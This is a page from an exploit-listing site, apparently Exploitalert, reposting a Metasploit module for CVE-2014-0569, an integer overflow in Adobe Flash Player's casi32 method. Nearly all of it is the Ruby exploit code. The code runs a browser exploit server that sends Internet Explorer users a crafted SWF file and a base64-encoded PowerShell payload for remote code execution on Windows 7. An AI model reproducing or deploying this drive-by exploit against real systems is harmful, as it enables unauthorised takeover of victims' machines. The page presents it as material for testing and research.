Advertisement






Adobe Flash Player casi32 Integer Overflow

CVE Category Price Severity
CVE-2014-0569 CWE-190 $60,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2015-04-11
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:A/SO:C/S:A 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2015040058

Below is a copy:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player casi32 Integer Overflow',
      'Description'         => %q{
        This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in
        the casi32 method, where an integer overflow occurs if a ByteArray of length 0 is setup as
        domainMemory for the current application domain. This module has been tested successfully
        on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'bilou', # Vulnerability discovery
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['ZDI', '14-365'],
          ['CVE', '2014-0569'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
          ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^15\./ && ver == '15.0.0.167' },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Oct 14 2014',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0569', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum